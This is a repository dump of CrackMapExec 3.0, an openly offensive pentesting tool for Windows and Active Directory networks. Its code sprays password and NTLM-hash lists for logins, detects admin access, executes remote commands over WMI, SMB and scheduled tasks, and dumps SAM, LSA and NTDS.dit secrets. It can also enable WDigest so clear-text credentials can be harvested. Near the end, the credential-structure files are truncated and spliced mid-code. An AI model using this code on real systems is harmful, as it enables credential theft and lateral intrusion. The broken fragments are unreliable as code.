├── .gitignore ├── .gitmodules ├── LICENSE ├── README.md ├── cme_db.py ├── core ├── __init__.py ├── cmeserver.py ├── connection.py ├── connector.py ├── context.py ├── credentials │ ├── __init__.py │ ├── commonstructs.py │ ├── cryptocommon.py │ ├── lsa.py │ ├── ntds.py │ ├── offlineregistry.py │ ├── sam.py │ ├── secretsdump.py │ └── wdigest.py ├── database.py ├── enum │ ├── __init__.py │ ├── lookupsid.py │ ├── passpol.py │ ├── rpcquery.py │ ├── shares.py │ ├── uac.py │ ├── users.py │ └── wmiquery.py ├── execmethods │ ├── __init__.py │ ├── atexec.py │ ├── mssqlexec.py │ ├── smbexec.py │ └── wmiexec.py ├── helpers.py ├── logger.py ├── mssql.py ├── remotefile.py ├── remoteoperations.py ├── spider │ ├── __init__.py │ └── smbspider.py └── targetparser.py ├── crackmapexec.py ├── data └── cme.pem ├── logs └── .gitignore ├── modules ├── code_execution │ ├── meterpreter_inject.py │ ├── pe_dll_inject.py │ └── shellcode_inject.py ├── credentials │ ├── mimikatz.py │ └── tokens.py └── example_module.py ├── requirements.txt └── setup ├── gen-self-signed-cert.sh └── setup_database.py /.gitignore: -------------------------------------------------------------------------------- 1 | data/cme.db 2 | *.log 3 | # Byte-compiled / optimized / DLL files 4 | __pycache__/ 5 | *.py[cod] 6 | 7 | # C extensions 8 | *.so 9 | 10 | # Distribution / packaging 11 | .Python 12 | env/ 13 | build/ 14 | develop-eggs/ 15 | dist/ 16 | downloads/ 17 | eggs/ 18 | .eggs/ 19 | lib/ 20 | lib64/ 21 | parts/ 22 | sdist/ 23 | var/ 24 | *.egg-info/ 25 | .installed.cfg 26 | *.egg 27 | 28 | # PyInstaller 29 | # Usually these files are written by a python script from a template 30 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 31 | *.manifest 32 | *.spec 33 | 34 | # Installer logs 35 | pip-log.txt 36 | pip-delete-this-directory.txt 37 | 38 | # Unit test / coverage reports 39 | htmlcov/ 40 | .tox/ 41 | .coverage 42 | .coverage.* 43 | .cache 44 | nosetests.xml 45 | coverage.xml 46 | *,cover 47 | 48 | # Translations 49 | *.mo 50 | *.pot 51 | 52 | # Django stuff: 53 | *.log 54 | 55 | # Sphinx documentation 56 | docs/_build/ 57 | 58 | # PyBuilder 59 | target/ 60 | -------------------------------------------------------------------------------- /.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "data/PowerSploit"] 2 | path = data/PowerSploit 3 | url = https://github.com/PowerShellMafia/PowerSploit 4 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Copyright (c) 2015, byt3bl33d3r 2 | All rights reserved. 3 | 4 | Redistribution and use in source and binary forms, with or without 5 | modification, are permitted provided that the following conditions are met: 6 | 7 | * Redistributions of source code must retain the above copyright notice, this 8 | list of conditions and the following disclaimer. 9 | 10 | * Redistributions in binary form must reproduce the above copyright notice, 11 | this list of conditions and the following disclaimer in the documentation 12 | and/or other materials provided with the distribution. 13 | 14 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 15 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 16 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 17 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 18 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 19 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 20 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 21 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 22 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 23 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 24 | 25 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CrackMapExec 2 | A swiss army knife for pentesting Windows/Active Directory environments 3 | 4 | Powered by [Impacket](https://github.com/CoreSecurity/impacket) 5 | 6 | This project was inspired by/based off of: 7 | - @agsolino's [wmiexec.py](https://github.com/CoreSecurity/impacket/blob/master/examples/wmiexec.py), [wmiquery.py](https://github.com/CoreSecurity/impacket/blob/master/examples/wmiquery.py), [smbexec.py](https://github.com/CoreSecurity/impacket/blob/master/examples/smbexec.py), [samrdump.py](https://github.com/CoreSecurity/impacket/blob/master/examples/samrdump.py), [secretsdump.py](https://github.com/CoreSecurity/impacket/blob/master/examples/secretsdump.py), [atexec.py](https://github.com/CoreSecurity/impacket/blob/master/examples/atexec.py) and [lookupsid.py](https://github.com/CoreSecurity/impacket/blob/master/examples/lookupsid.py) scripts (beyond awesome) 8 | - @ShawnDEvans's [smbmap](https://github.com/ShawnDEvans/smbmap) 9 | - @gojhonny's [CredCrack](https://github.com/gojhonny/CredCrack) 10 | - @pentestgeek's [smbexec](https://github.com/pentestgeek/smbexec) 11 | 12 | Unintentional contributors: 13 | 14 | - @T-S-A's [smbspider](https://github.com/T-S-A/smbspider) script 15 | - The [Empire](https://github.com/PowerShellEmpire/Empire) project 16 | 17 | This repo also includes the [PowerSploit](https://github.com/PowerShellMafia/PowerSploit) repository as a submodule. 18 | 19 | #Description 20 | 21 | CrackMapExec is your one-stop-shop for pentesting Windows/Active Directory environments! 22 | 23 | From enumerating logged on users and spidering SMB shares to executing psexec style attacks, auto-injecting Mimikatz/Shellcode/DLL's into memory using Powershell, dumping the NTDS.dit and more! 24 | 25 | The biggest improvements over the above tools are: 26 | - Pure Python script, no external tools required 27 | - Fully concurrent threading 28 | - Uses **ONLY** native WinAPI calls for discovering sessions, users, dumping SAM hashes etc... 29 | - Opsec safe (no binaries are uploaded to dump clear-text credentials, inject shellcode etc...) 30 | 31 | #Installation 32 | 33 | See the [Installation](https://github.com/byt3bl33d3r/CrackMapExec/wiki/Installation) wiki page for install instructions 34 | 35 | #Quick Demo 36 | 37 | **Demo of V3.0 coming soon!** 38 | 39 | #Usage 40 | 41 | ``` 42 | ______ .______ ___ ______ __ ___ .___ ___. ___ .______ _______ ___ ___ _______ ______ 43 | / || _ \ / \ / || |/ / | \/ | / \ | _ \ | ____|\ \ / / | ____| / | 44 | | ,----'| |_) | / ^ \ | ,----'| ' / | \ / | / ^ \ | |_) | | |__ \ V / | |__ | ,----' 45 | | | | / / /_\ \ | | | < | |\/| | / /_\ \ | ___/ | __| > < | __| | | 46 | | `----.| |\ \----. / _____ \ | `----.| . \ | | | | / _____ \ | | | |____ / . \ | |____ | `----. 47 | \______|| _| `._____|/__/ \__\ \______||__|\__\ |__| |__| /__/ \__\ | _| |_______|/__/ \__\ |_______| \______| 48 | 49 | Swiss army knife for pentesting Windows/Active Directory environments | @byt3bl33d3r 50 | 51 | Powered by Impacket https://github.com/CoreSecurity/impacket (@agsolino) 52 | 53 | Inspired by: 54 | @ShawnDEvans's smbmap https://github.com/ShawnDEvans/smbmap 55 | @gojhonny's CredCrack https://github.com/gojhonny/CredCrack 56 | @pentestgeek's smbexec https://github.com/pentestgeek/smbexec 57 | 58 | Version: 3.0 59 | Codename: 'So looong gay boy!' 60 | 61 | positional arguments: 62 | target The target IP(s), range(s), CIDR(s), hostname(s), FQDN(s) or file(s) containg a list of targets 63 | 64 | optional arguments: 65 | -h, --help show this help message and exit 66 | -v, --version show program's version number and exit 67 | -t THREADS Set how many concurrent threads to use (defaults to 100) 68 | -id CRED_ID Database credential ID to use for authentication 69 | -u [USERNAME [USERNAME ...]] 70 | Username(s) or file(s) containing usernames 71 | -d DOMAIN Domain name 72 | -p [PASSWORD [PASSWORD ...]] 73 | Password(s) or file(s) containing passwords 74 | -H [HASH [HASH ...]] NTLM hash(es) or file(s) containing NTLM hashes 75 | -m MODULE Payload module to use 76 | -o [MODULE_OPTION [MODULE_OPTION ...]] 77 | Payload module options 78 | --module-info Display module info 79 | --share SHARE Specify a share (default: C$) 80 | --smb-port {139,445} SMB port (default: 445) 81 | --mssql-port PORT MSSQL port (default: 1433) 82 | --server {http,https} 83 | Use the selected server (default: https) 84 | --server-port PORT Start the server on the specified port 85 | --local-auth Authenticate locally to each target 86 | --timeout TIMEOUT Max timeout in seconds of each thread (default: 20) 87 | --verbose Enable verbose output 88 | 89 | Credential Gathering: 90 | Options for gathering credentials 91 | 92 | --sam Dump SAM hashes from target systems 93 | --lsa Dump LSA secrets from target systems 94 | --ntds {vss,drsuapi} Dump the NTDS.dit from target DCs using the specifed method 95 | (drsuapi is the fastest) 96 | --ntds-history Dump NTDS.dit password history 97 | --ntds-pwdLastSet Shows the pwdLastSet attribute for each NTDS.dit account 98 | --wdigest {enable,disable} 99 | Creates/Deletes the 'UseLogonCredential' registry key enabling WDigest cred dumping on Windows >= 8.1 100 | 101 | Mapping/Enumeration: 102 | Options for Mapping/Enumerating 103 | 104 | --shares Enumerate shares and access 105 | --uac Checks UAC status 106 | --sessions Enumerate active sessions 107 | --disks Enumerate disks 108 | --users Enumerate users 109 | --rid-brute [MAX_RID] 110 | Enumerate users by bruteforcing RID's (default: 4000) 111 | --pass-pol Dump password policy 112 | --lusers Enumerate logged on users 113 | --wmi QUERY Issues the specified WMI query 114 | --wmi-namespace NAMESPACE 115 | WMI Namespace (default: //./root/cimv2) 116 | 117 | Spidering: 118 | Options for spidering shares 119 | 120 | --spider [FOLDER] Folder to spider (default: root directory) 121 | --content Enable file content searching 122 | --exclude-dirs DIR_LIST 123 | Directories to exclude from spidering 124 | --pattern [PATTERN [PATTERN ...]] 125 | Pattern(s) to search for in folders, filenames and file content 126 | --regex [REGEX [REGEX ...]] 127 | Regex(s) to search for in folders, filenames and file content 128 | --depth DEPTH Spider recursion depth (default: 10) 129 | 130 | Command Execution: 131 | Options for executing commands 132 | 133 | --exec-method {atexec,smbexec,wmiexec} 134 | Method to execute the command. Ignored if in MSSQL mode (default: wmiexec) 135 | --force-ps32 Force the PowerShell command to run in a 32-bit process 136 | --no-output Do not retrieve command output 137 | -x COMMAND Execute the specified command 138 | -X PS_COMMAND Execute the specified PowerShell command 139 | 140 | MSSQL Interaction: 141 | Options for interacting with MSSQL DBs 142 | 143 | --mssql Switches CME into MSSQL Mode. If credentials are provided will authenticate against all discovered MSSQL DBs 144 | --mssql-query QUERY Execute the specifed query against the MSSQL DB 145 | 146 | HA! Made you look! 147 | ``` 148 | 149 | #To do 150 | - Kerberos support 151 | - ~~0wn everything~~ -------------------------------------------------------------------------------- /cme_db.py: -------------------------------------------------------------------------------- 1 | import cmd 2 | import sqlite3 3 | import sys 4 | 5 | class CMEDatabaseNavigator(cmd.Cmd): 6 | 7 | def __init__(self): 8 | cmd.Cmd.__init__(self) 9 | self.prompt = 'cmedb > ' 10 | try: 11 | # set the database connectiont to autocommit w/ isolation level 12 | self.conn = sqlite3.connect('data/cme.db', check_same_thread=False) 13 | self.conn.text_factory = str 14 | self.conn.isolation_level = None 15 | except Exception as e: 16 | print "Could not connect to database: {}".format(e) 17 | sys.exit(1) 18 | 19 | def do_exit(self, line): 20 | sys.exit(0) 21 | 22 | def do_hosts(self, line): 23 | 24 | cur = self.conn.cursor() 25 | cur.execute("SELECT * FROM hosts") 26 | hosts = cur.fetchall() 27 | cur.close() 28 | 29 | print "\nHosts:\n" 30 | print " HostID IP Hostname Domain OS" 31 | print " ------ -- -------- ------ --" 32 | 33 | for host in hosts: 34 | # (id, ip, hostname, domain, os) 35 | hostID = host[0] 36 | ip = host[1] 37 | hostname = host[2] 38 | domain = host[3] 39 | os = host[4] 40 | 41 | print u" {}{}{}{}{}".format('{0: <8}'.format(hostID), '{0: <17}'.format(ip), '{0: <25}'.format(hostname), '{0: <17}'.format(domain), '{0: <17}'.format(os)) 42 | 43 | print "" 44 | 45 | def do_creds(self, line): 46 | 47 | cur = self.conn.cursor() 48 | cur.execute("SELECT * FROM credentials") 49 | creds = cur.fetchall() 50 | cur.close() 51 | 52 | print "\nCredentials:\n" 53 | print " CredID CredType Domain UserName Password" 54 | print " ------ -------- ------ -------- --------" 55 | 56 | for cred in creds: 57 | # (id, credtype, domain, username, password, host, notes, sid) 58 | credID = cred[0] 59 | credType = cred[1] 60 | domain = cred[2] 61 | username = cred[3] 62 | password = cred[4] 63 | 64 | print u" {}{}{}{}{}".format('{0: <8}'.format(credID), '{0: <11}'.format(credType), '{0: <25}'.format(domain), '{0: <17}'.format(username), '{0: <17}'.format(password)) 65 | 66 | print "" 67 | 68 | if __name__ == '__main__': 69 | cmedbnav = CMEDatabaseNavigator() 70 | cmedbnav.cmdloop() -------------------------------------------------------------------------------- /core/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/trustedsec/CrackMapExec/cd989879d495fc14f99375934c9052658fee4264/core/__init__.py -------------------------------------------------------------------------------- /core/cmeserver.py: -------------------------------------------------------------------------------- 1 | import BaseHTTPServer 2 | import threading 3 | import ssl 4 | from BaseHTTPServer import BaseHTTPRequestHandler 5 | from logging import getLogger 6 | from gevent import sleep 7 | from core.helpers import highlight 8 | from core.logger import CMEAdapter 9 | 10 | class RequestHandler(BaseHTTPRequestHandler): 11 | 12 | def log_message(self, format, *args): 13 | server_logger = CMEAdapter(getLogger('CME'), {'module': self.server.module.name.upper(), 'host': self.client_address[0]}) 14 | server_logger.info("- - %s" % (format%args)) 15 | 16 | def do_GET(self): 17 | if hasattr(self.server.module, 'on_request'): 18 | server_logger = CMEAdapter(getLogger('CME'), {'module': self.server.module.name.upper(), 'host': self.client_address[0]}) 19 | self.server.context.log = server_logger 20 | self.server.module.on_request(self.server.context, self) 21 | 22 | def do_POST(self): 23 | if hasattr(self.server.module, 'on_response'): 24 | server_logger = CMEAdapter(getLogger('CME'), {'module': self.server.module.name.upper(), 'host': self.client_address[0]}) 25 | self.server.context.log = server_logger 26 | self.server.module.on_response(self.server.context, self) 27 | 28 | def stop_tracking_host(self): 29 | ''' 30 | This gets called when a module has finshed executing, removes the host from the connection tracker list 31 | ''' 32 | try: 33 | self.server.hosts.remove(self.client_address[0]) 34 | except ValueError: 35 | pass 36 | 37 | class CMEServer(threading.Thread): 38 | 39 | def __init__(self, module, context, srv_host, port, server_type='https'): 40 | 41 | try: 42 | threading.Thread.__init__(self) 43 | 44 | self.server = BaseHTTPServer.HTTPServer((srv_host, int(port)), RequestHandler) 45 | self.server.hosts = [] 46 | self.server.module = module 47 | self.server.context = context 48 | self.server.log = context.log 49 | 50 | if server_type == 'https': 51 | self.server.socket = ssl.wrap_socket(self.server.socket, certfile='data/cme.pem', server_side=True) 52 | 53 | except Exception as e: 54 | print 'Error starting CME Server: {}'.format(e) 55 | 56 | def base_server(self): 57 | return self.server 58 | 59 | def run(self): 60 | try: 61 | self.server.serve_forever() 62 | except: 63 | pass 64 | 65 | def shutdown(self): 66 | try: 67 | while len(self.server.hosts) > 0: 68 | self.server.log.info('Waiting on {} host(s)'.format(highlight(len(self.server.hosts)))) 69 | sleep(15) 70 | except KeyboardInterrupt: 71 | pass 72 | 73 | # shut down the server/socket 74 | self.server.shutdown() 75 | self.server.socket.close() 76 | self.server.server_close() 77 | self._Thread__stop() 78 | 79 | # make sure all the threads are killed 80 | for thread in threading.enumerate(): 81 | if thread.isAlive(): 82 | try: 83 | thread._Thread__stop() 84 | except: 85 | pass 86 | -------------------------------------------------------------------------------- /core/connection.py: -------------------------------------------------------------------------------- 1 | from core.helpers import highlight 2 | from core.execmethods.mssqlexec import MSSQLEXEC 3 | from core.execmethods.wmiexec import WMIEXEC 4 | from core.execmethods.smbexec import SMBEXEC 5 | from core.execmethods.atexec import TSCH_EXEC 6 | from impacket.dcerpc.v5 import transport, scmr 7 | from impacket.dcerpc.v5.rpcrt import DCERPCException 8 | from impacket.smbconnection import SessionError 9 | 10 | class Connection: 11 | 12 | def __init__(self, args, db, target, server_name, domain, conn, logger, cmeserver): 13 | self.args = args 14 | self.db = db 15 | self.host = target 16 | self.hostname = server_name 17 | self.domain = domain 18 | self.conn = conn 19 | self.logger = logger 20 | self.cmeserver = cmeserver 21 | self.password = None 22 | self.username = None 23 | self.hash = None 24 | self.admin_privs = False 25 | 26 | self.login() 27 | 28 | def check_if_admin(self): 29 | if self.args.mssql: 30 | try: 31 | #I'm pretty sure there has to be a better way of doing this. 32 | #Currently we are just searching for our user in the sysadmin group 33 | 34 | self.conn.sql_query("EXEC sp_helpsrvrolemember 'sysadmin'") 35 | query_output = self.conn.printRows() 36 | if query_output.find('{}\\{}'.format(self.domain, self.username)) != -1: 37 | self.admin_privs = True 38 | except: 39 | pass 40 | 41 | elif not self.args.mssql: 42 | ''' 43 | We use the OpenSCManagerW Win32API call to to establish a handle to the remote host. 44 | If this succeeds, the user context has administrator access to the target. 45 | 46 | Idea stolen from PowerView's Invoke-CheckLocalAdminAccess 47 | ''' 48 | 49 | stringBinding = r'ncacn_np:{}[\pipe\svcctl]'.format(self.host) 50 | 51 | rpctransport = transport.DCERPCTransportFactory(stringBinding) 52 | rpctransport.set_dport(self.args.smb_port) 53 | 54 | lmhash = '' 55 | nthash = '' 56 | if self.hash: 57 | lmhash, nthash = self.hash.split(':') 58 | if hasattr(rpctransport, 'set_credentials'): 59 | # This method exists only for selected protocol sequences. 60 | rpctransport.set_credentials(self.username, self.password if self.password is not None else '', self.domain, lmhash, nthash) 61 | dce = rpctransport.get_dce_rpc() 62 | dce.connect() 63 | dce.bind(scmr.MSRPC_UUID_SCMR) 64 | 65 | lpMachineName = '{}\x00'.format(self.host) 66 | try: 67 | 68 | # 0xF003F - SC_MANAGER_ALL_ACCESS 69 | # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx 70 | 71 | resp = scmr.hROpenSCManagerW(dce, lpMachineName, 'ServicesActive\x00', 0xF003F) 72 | self.admin_privs = True 73 | except DCERPCException: 74 | pass 75 | 76 | def plaintext_login(self, username, password): 77 | try: 78 | if self.args.mssql: 79 | res = self.conn.login(None, username, password, self.domain, None, True) 80 | if res is not True: 81 | self.conn.printReplies() 82 | return False 83 | 84 | elif not self.args.mssql: 85 | self.conn.login(username, password, self.domain) 86 | 87 | self.password = password 88 | self.username = username 89 | self.check_if_admin() 90 | self.db.add_credential('plaintext', self.domain, username, password) 91 | 92 | out = u'{}\\{}:{} {}'.format(self.domain, 93 | username, 94 | password, 95 | highlight('(Pwn3d!)') if self.admin_privs else '') 96 | 97 | self.logger.success(out) 98 | return True 99 | except SessionError as e: 100 | self.logger.error(u'{}\\{}:{} {}'.format(self.domain, username, password, str(e).split(':')[1])) 101 | return False 102 | 103 | def hash_login(self, username, ntlm_hash): 104 | lmhash, nthash = ntlm_hash.split(':') 105 | try: 106 | if self.args.mssql: 107 | res = self.conn.login(None, username, '', self.domain, ntlm_hash, True) 108 | if res is not True: 109 | self.conn.printReplies() 110 | return False 111 | 112 | elif not self.args.mssql: 113 | self.conn.login(username, '', self.domain, lmhash, nthash) 114 | 115 | self.hash = ntlm_hash 116 | self.username = username 117 | self.check_if_admin() 118 | self.db.add_credential('hash', self.domain, username, ntlm_hash) 119 | 120 | out = u'{}\\{} {} {}'.format(self.domain, 121 | username, 122 | ntlm_hash, 123 | highlight('(Pwn3d!)') if self.admin_privs else '') 124 | 125 | self.logger.success(out) 126 | return True 127 | except SessionError as e: 128 | self.logger.error(u'{}\\{} {} {}'.format(self.domain, username, ntlm_hash, str(e).split(':')[1])) 129 | return False 130 | 131 | def login(self): 132 | if self.args.local_auth: 133 | self.domain = self.hostname 134 | 135 | for user in self.args.username: 136 | 137 | if type(user) is file: 138 | 139 | for usr in user: 140 | 141 | if self.args.hash: 142 | for ntlm_hash in self.args.hash: 143 | if type(ntlm_hash) is not file: 144 | if self.hash_login(usr.strip(), ntlm_hash): return 145 | 146 | elif type(ntlm_hash) is file: 147 | for f_hash in ntlm_hash: 148 | if self.hash_login(usr.strip(), f_hash.strip()): return 149 | 150 | 151 | elif self.args.password: 152 | for password in self.args.password: 153 | if type(password) is not file: 154 | if self.plaintext_login(usr.strip(), password): return 155 | 156 | elif type(password) is file: 157 | for f_pass in password: 158 | if self.plaintext_login(usr.strip(), f_pass.strip()): return 159 | 160 | elif type(user) is not file: 161 | 162 | if self.args.hash: 163 | for ntlm_hash in self.args.hash: 164 | if type(ntlm_hash) is not file: 165 | if self.hash_login(user, ntlm_hash): return 166 | 167 | elif type(ntlm_hash) is file: 168 | for f_hash in ntlm_hash: 169 | if self.hash_login(user, f_hash.strip()): return 170 | 171 | elif self.args.password: 172 | for password in self.args.password: 173 | if type(password) is not file: 174 | if self.plaintext_login(user, password): return 175 | 176 | elif type(password) is file: 177 | for f_pass in password: 178 | if self.plaintext_login(user, f_pass.strip()): return 179 | 180 | def execute(self, payload, get_output=False, method=None): 181 | 182 | if self.args.mssql: 183 | exec_method = MSSQLEXEC(self.conn) 184 | 185 | elif not self.args.mssql: 186 | 187 | if not method: 188 | method = self.args.exec_method 189 | 190 | if method == 'wmiexec': 191 | exec_method = WMIEXEC(self.host, self.username, self.password, self.domain, self.conn, self.hash, self.args.share) 192 | 193 | elif method == 'smbexec': 194 | exec_method = SMBEXEC(self.host, self.args.smb_port, self.username, self.password, self.domain, self.hash, self.args.share) 195 | 196 | elif method == 'atexec': 197 | exec_method = TSCH_EXEC(self.host, self.username, self.password, self.domain, self.hash) #self.args.share) 198 | 199 | if self.cmeserver: 200 | if hasattr(self.cmeserver.server.module, 'on_request') or hasattr(self.cmeserver.server.module, 'on_response'): 201 | self.cmeserver.server.hosts.append(self.host) 202 | 203 | output = exec_method.execute(payload, get_output) 204 | 205 | return u'{}'.format(output.strip()) 206 | -------------------------------------------------------------------------------- /core/connector.py: -------------------------------------------------------------------------------- 1 | from impacket.smbconnection import SMBConnection, SessionError 2 | from impacket.nmb import NetBIOSError 3 | from impacket import tds 4 | from core.mssql import * 5 | from impacket.dcerpc.v5.rpcrt import DCERPCException 6 | from core.connection import Connection 7 | from logging import getLogger 8 | from core.logger import CMEAdapter 9 | from core.context import Context 10 | from core.helpers import create_ps_command 11 | from StringIO import StringIO 12 | from core.enum.shares import ShareEnum 13 | from core.enum.uac import UAC 14 | from core.enum.rpcquery import RPCQUERY 15 | from core.enum.passpol import PassPolDump 16 | from core.enum.users import SAMRDump 17 | from core.enum.wmiquery import WMIQUERY 18 | from core.enum.lookupsid import LSALookupSid 19 | from core.credentials.secretsdump import DumpSecrets 20 | from core.credentials.wdigest import WDIGEST 21 | from core.spider.smbspider import SMBSpider 22 | import socket 23 | 24 | def connector(target, args, db, module, context, cmeserver): 25 | 26 | try: 27 | 28 | smb = SMBConnection(target, target, None, args.smb_port) 29 | 30 | #Get our IP from the socket 31 | local_ip = smb.getSMBServer().get_socket().getsockname()[0] 32 | 33 | #Get the remote ip address (in case the target is a hostname) 34 | remote_ip = smb.getRemoteHost() 35 | 36 | try: 37 | smb.login('' , '') 38 | except SessionError as e: 39 | if "STATUS_ACCESS_DENIED" in e.message: 40 | pass 41 | 42 | domain = smb.getServerDomain() 43 | servername = smb.getServerName() 44 | serveros = smb.getServerOS() 45 | 46 | if not domain: 47 | domain = servername 48 | 49 | db.add_host(remote_ip, servername, domain, serveros) 50 | 51 | logger = CMEAdapter(getLogger('CME'), {'host': remote_ip, 'port': args.smb_port, 'hostname': u'{}'.format(servername)}) 52 | 53 | logger.info(u"{} (name:{}) (domain:{})".format(serveros, servername, domain)) 54 | 55 | try: 56 | ''' 57 | DC's seem to want us to logoff first 58 | Windows workstations sometimes reset the connection, so we handle both cases here 59 | (go home Windows, you're drunk) 60 | ''' 61 | smb.logoff() 62 | except NetBIOSError: 63 | pass 64 | except socket.error: 65 | pass 66 | 67 | if args.mssql: 68 | instances = None 69 | logger.extra['port'] = args.mssql_port 70 | ms_sql = tds.MSSQL(target, args.mssql_port, logger) 71 | ms_sql.connect() 72 | 73 | instances = ms_sql.getInstances(10) 74 | if len(instances) > 0: 75 | logger.info("Found {} MSSQL instance(s)".format(len(instances))) 76 | for i, instance in enumerate(instances): 77 | logger.highlight("Instance {}".format(i)) 78 | for key in instance.keys(): 79 | logger.highlight(key + ":" + instance[key]) 80 | 81 | try: 82 | ms_sql.disconnect() 83 | except: 84 | pass 85 | 86 | if args.username and (args.password or args.hash): 87 | conn = None 88 | 89 | if args.mssql and (instances is not None and len(instances) > 0): 90 | conn = tds.MSSQL(target, args.mssql_port, logger) 91 | conn.connect() 92 | elif not args.mssql: 93 | conn = SMBConnection(target, target, None, args.smb_port) 94 | 95 | if conn is None: 96 | return 97 | 98 | if args.domain: 99 | domain = args.domain 100 | 101 | connection = Connection(args, db, target, servername, domain, conn, logger, cmeserver) 102 | 103 | if (connection.password is not None or connection.hash is not None) and connection.username is not None: 104 | if module is not None: 105 | 106 | module_logger = CMEAdapter(getLogger('CME'), {'module': module.name.upper(), 'host': remote_ip, 'port': args.smb_port, 'hostname': servername}) 107 | context = Context(db, module_logger, args) 108 | context.localip = local_ip 109 | cmeserver.server.context.localip = local_ip 110 | 111 | if hasattr(module, 'on_login'): 112 | module.on_login(context, connection) 113 | 114 | if hasattr(module, 'on_admin_login') and connection.admin_privs: 115 | module.on_admin_login(context, connection) 116 | else: 117 | if connection.admin_privs and (args.pscommand or args.command): 118 | 119 | get_output = True if args.no_output is False else False 120 | if args.mssql: args.exec_method = 'mssqlexec' 121 | 122 | if args.command: 123 | output = connection.execute(args.command, get_output=get_output, method=args.exec_method) 124 | 125 | if args.pscommand: 126 | output = connection.execute(create_ps_command(args.pscommand), get_output=get_output, method=args.exec_method) 127 | 128 | logger.success('Executed command via {}'.format(args.exec_method)) 129 | buf = StringIO(output).readlines() 130 | for line in buf: 131 | logger.highlight(line.strip()) 132 | 133 | if args.mssql and args.mssql_query: 134 | conn.sql_query(args.mssql_query) 135 | query_output = conn.printRows() 136 | 137 | logger.success('Executed MSSQL query') 138 | buf = StringIO(query_output).readlines() 139 | for line in buf: 140 | logger.highlight(line.strip()) 141 | 142 | elif not args.mssql: 143 | 144 | if connection.admin_privs and (args.sam or args.lsa or args.ntds): 145 | secrets_dump = DumpSecrets(connection, logger) 146 | 147 | if args.sam: 148 | secrets_dump.SAM_dump() 149 | 150 | if args.lsa: 151 | secrets_dump.LSA_dump() 152 | 153 | if args.ntds: 154 | secrets_dump.NTDS_dump(args.ntds, args.ntds_pwdLastSet, args.ntds_history) 155 | 156 | if connection.admin_privs and args.wdigest: 157 | w_digest = WDIGEST(logger, connection.conn) 158 | 159 | if args.wdigest == 'enable': 160 | w_digest.enable() 161 | 162 | elif args.wdigest == 'disable': 163 | w_digest.disable() 164 | 165 | if connection.admin_privs and args.uac: 166 | UAC(connection.conn, logger).enum() 167 | 168 | if args.spider: 169 | spider = SMBSpider(logger, connection, args) 170 | spider.spider(args.spider, args.depth) 171 | spider.finish() 172 | 173 | if args.enum_shares: 174 | ShareEnum(connection.conn, logger).enum() 175 | 176 | if args.enum_lusers or args.enum_disks or args.enum_sessions: 177 | rpc_connection = RPCQUERY(connection, logger) 178 | 179 | if args.enum_lusers: 180 | rpc_connection.enum_lusers() 181 | 182 | if args.enum_sessions: 183 | rpc_connection.enum_sessions() 184 | 185 | if args.enum_disks: 186 | rpc_connection.enum_disks() 187 | 188 | if args.pass_pol: 189 | PassPolDump(logger, args.smb_port, connection).enum() 190 | 191 | if args.enum_users: 192 | SAMRDump(logger, args.smb_port, connection).enum() 193 | 194 | if connection.admin_privs and args.wmi_query: 195 | WMIQUERY(logger, connection, args.wmi_namespace).query(args.wmi_query) 196 | 197 | if args.rid_brute: 198 | LSALookupSid(logger, args.smb_port, connection, args.rid_brute).brute_force() 199 | 200 | except socket.error: 201 | return 202 | -------------------------------------------------------------------------------- /core/context.py: -------------------------------------------------------------------------------- 1 | import logging 2 | 3 | class Context: 4 | 5 | def __init__(self, db, logger, arg_namespace): 6 | self.db = db 7 | self.log = logger 8 | self.log.debug = logging.debug 9 | self.localip = None 10 | 11 | for key, value in vars(arg_namespace).iteritems(): 12 | setattr(self, key, value) -------------------------------------------------------------------------------- /core/credentials/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/trustedsec/CrackMapExec/cd989879d495fc14f99375934c9052658fee4264/core/credentials/__init__.py -------------------------------------------------------------------------------- /core/credentials/commonstructs.py: -------------------------------------------------------------------------------- 1 | from impacket.structure import Structure 2 | from struct import unpack 3 | 4 | # Structures 5 | # Taken from http://insecurety.net/?p=768 6 | class SAM_KEY_DATA(Structure): 7 | structure = ( 8 | ('Revision','L',self['SubAuthority'][i*4:i*4+4])[0]) 123 | return ans 124 | 125 | class LSA_SECRET_BLOB(Structure): 126 | structure = ( 127 | ('Length','> 0x01) ) 9 | OutputKey.append( chr(((ord(InputKey[0])&0x01)<<6) | (ord(InputKey[1])>>2)) ) 10 | OutputKey.append( chr(((ord(InputKey[1])&0x03)<<5) | (ord(InputKey[2])>>3)) ) 11 | OutputKey.append( chr(((ord(InputKey[2])&0x07)<<4) | (ord(InputKey[3])>>4)) ) 12 | OutputKey.append( chr(((ord(InputKey[3])&0x0F)<<3) | (ord(InputKey[4])>>5)) ) 13 | OutputKey.append( chr(((ord(InputKey[4])&0x1F)<<2) | (ord(InputKey[5])>>6)) ) 14 | OutputKey.append( chr(((ord(InputKey[5])&0x3F)<<1) | (ord(InputKey[6])>>7)) ) 15 | OutputKey.append( chr(ord(InputKey[6]) & 0x7F) ) 16 | 17 | for i in range(8): 18 | OutputKey[i] = chr((ord(OutputKey[i]) << 1) & 0xfe) 19 | 20 | return "".join(OutputKey) 21 | 22 | def 